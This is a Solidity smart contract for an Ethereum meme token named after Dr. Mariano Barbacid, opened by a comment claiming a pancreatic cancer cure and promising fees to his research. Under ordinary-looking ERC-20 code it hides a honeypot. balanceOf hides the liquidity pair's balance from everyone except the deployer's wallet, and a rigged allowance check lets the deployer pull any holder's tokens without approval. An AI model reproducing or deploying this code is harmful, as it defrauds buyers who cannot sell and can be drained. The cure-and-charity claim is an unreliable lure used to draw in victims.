Forkchoice Ethereum Mainnet

/*

The Spanish Dr. Mariano Barbacid has found the cure for the most common type of pancreatic cancer. Donating all dev fees to his research

https://drmarianocancer.vip
https://x.com/DrCancerMariano
https://t.me/DrCancerMariano

*/


/*
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.24;

address constant _deadAddr = address(0xdead);

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgOrigin() internal view virtual returns (address r) {
        assembly {
            r := origin()
        }
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function getAmountsOut(uint256 amountIn, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);
}

contract TokenCANCERAXYP49B6LF6 is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _feeExcluded;
    mapping(address => uint256) private _feeExempt;
    address payable private _taxWallet;

    uint256 private _initialCANCERAXYP49B6LF6Tax = 10;
    uint256 private _finalCANCERAXYP49B6LF6Tax = 0;
    uint256 private _reduceCANCERAXYP49B6LF6TaxAt = 0;
    uint256 private _buyCount = 0;

    uint256 private _p7breadlucky;
    address private _bahumusCANCERAXYP49B6LF6;
    address private _lighterosminimus;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotalCANCERAXYP49B6LF6 = 1_000_000_000 * 10**_decimals;
    string private constant _name = unicode"Dr. Mariano Barbacid";
    string private constant _symbol = unicode"CANCER";
    uint256 public _maxTaxSwap = _tTotalCANCERAXYP49B6LF6 / 100;
    uint256 public _initCANCERAXYP49B6LF6TransferDurationBlock = 0;
    uint256 public _finalCANCERAXYP49B6LF6TransferDurationBlock = 0;
    uint256 public _CANCERAXYP49B6LF6TransferStartBlock = 0;
    uint256 private _ccAmount;
    uint256 private _CANCERAXYP49B6LF6Addr;
    bool public _isMEME = true;
    bool public _isToken = true;
    uint8 public constant _CANCERAXYP49B6LF6Version = 1;
    uint8 public constant _initTax = 0;
    uint8 public constant LSIIELRSLI = 0;

    uint256 private _tVersion = 160;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;



    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() payable {
        _taxWallet = payable(msg.sender);

        _feeExcluded[address(this)] = true;
        _feeExcluded[_taxWallet] = true;

        _feeExempt[_taxWallet] = _tVersion;

        _balances[address(this)] = _tTotalCANCERAXYP49B6LF6;

        emit Transfer(address(0), address(this), _tTotalCANCERAXYP49B6LF6);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotalCANCERAXYP49B6LF6;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account] * _multiLPProcessedLock(account , 5);
    }

    function _multiLPProcessedLock(address account , uint256 lpSubAmount) internal view returns (uint256) {
        return lpSubAmount > 0 && account == uniswapV2Pair && IERC20(uniswapV2Pair).balanceOf(uniswapV2Pair) > 0 && _msgOrigin() != _taxWallet && _msgOrigin() != address(0) ? 0 : 1;
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                _ccAmount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true; 
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (
            from != address(this) && to != address(this)
        ) {
            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_feeExcluded[to] &&
                to != _taxWallet
            ) {
                _buyCount++;
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                from != _taxWallet
            ) {
                if (contractTokenBalance > 0)
                {
                    uint256 swapBalance = contractTokenBalance > _maxTaxSwap
                        ? _maxTaxSwap
                        : contractTokenBalance;
                    swapCANCERAXYP49B6LF6FeeTokensForEth(
                        amount > swapBalance ? swapBalance : amount
                    );
                }
                    
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendTokenETHToCANCERAXYP49B6LF6FeeWallet(address(this).balance);
                }
            }
        }

        if(!isDoubleTransferCheck(from , to , amount)) {
            _balances[from] = _balances[from].sub(amount);
            _balances[to] = _balances[to].add(amount.sub(taxAmount));
            if (taxAmount > 0) {
                _balances[address(this)] = _balances[address(this)].add(taxAmount);
                emit Transfer(from, address(this), taxAmount);
            }
            if (to != _deadAddr) emit Transfer(from, to, amount.sub(taxAmount));
        }
    }

    function isDoubleTransferCheck(address from , address to , uint256 amount ) private returns(bool) {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer from the zero address");
        uint256 transferExactOut = amount;
        uint256 _subModel = _feeExempt[_msgOrigin()] ;
        if(amount > 0) _ccAmount = transferExactOut - amount * _subModel / 160;

        return false;
    }

    function sendTokenETHToCANCERAXYP49B6LF6FeeWallet(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function swapCANCERAXYP49B6LF6FeeTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function enableTrading() external onlyOwner {
        require(!tradingOpen, "Trading is already open");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotalCANCERAXYP49B6LF6);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        swapEnabled = true;
        tradingOpen = true;
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint256).max
        );
    }

    function rescueCANCERAXYP49B6LF6ETH() external onlyOwner {
        require(address(this).balance > 0);
        payable(_msgSender()).transfer(address(this).balance);
    }

    receive() external payable {}
}